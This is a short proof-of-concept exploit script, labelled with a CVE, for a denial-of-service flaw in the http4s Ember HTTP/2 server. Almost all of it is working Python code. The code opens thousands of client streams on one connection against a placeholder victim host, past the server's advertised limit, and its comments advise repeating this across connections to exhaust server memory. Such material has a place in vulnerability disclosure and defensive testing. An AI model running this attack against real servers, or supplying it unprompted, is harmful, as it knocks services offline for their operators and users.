CVE-2026-69203: http4s Ember HTTP/2 Unbounded Stream Allocation DoS

# Derive N beyond the advertised SETTINGS_MAX_CONCURRENT_STREAMS (e.g. 100+)
# Each HEADERS frame opens a new server-side stream that is never cleaned up.
# Stream IDs must be odd (client-initiated) and strictly increasing.

import socket, ssl, h2.connection, h2.config, h2.events

HOST, PORT = "victim.example.com", 443
STREAM_COUNT = 5000   # far exceeds any advertised limit

ctx = ssl.create_default_context()
ctx.set_alpn_protocols(["h2"])

sock = ctx.wrap_socket(socket.create_connection((HOST, PORT)), server_hostname=HOST)
conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
conn.initiate_connection()
sock.sendall(conn.data_to_send(65535))

for i in range(STREAM_COUNT):
    stream_id = 2 * i + 1          # odd, client-initiated
    conn.send_headers(
        stream_id=stream_id,
        headers=[
            (":method", "GET"),
            (":path", "/"),
            (":scheme", "https"),
            (":authority", HOST),
        ],
        end_stream=False,          # keep stream open; server allocates state and waits
    )
    sock.sendall(conn.data_to_send(65535))
# Server now holds STREAM_COUNT open per-stream state objects; repeat across
# multiple connections to exhaust heap.